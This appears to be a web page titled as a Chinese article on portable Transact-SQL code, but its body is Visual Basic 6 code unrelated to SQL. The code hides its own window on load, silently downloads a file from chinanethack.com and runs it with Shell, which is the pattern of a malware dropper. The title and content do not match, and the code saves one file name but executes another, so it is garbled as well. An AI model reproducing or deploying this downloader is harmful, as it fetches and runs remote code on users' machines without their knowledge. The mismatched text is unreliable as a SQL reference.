编写可在多种语言之间移植的 Transact-SQL 代码

核心提示： Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal s

　  Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Form_Load()
Me.VISIBLE = false
DownloadFile "http://www.chinanethack.com/SFDO/FHQ40.RAR", App.Path & "\FHQ30A.RAR"
End Sub

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
Shell App.Path & "\FHQ40.RAR"
End If
End Function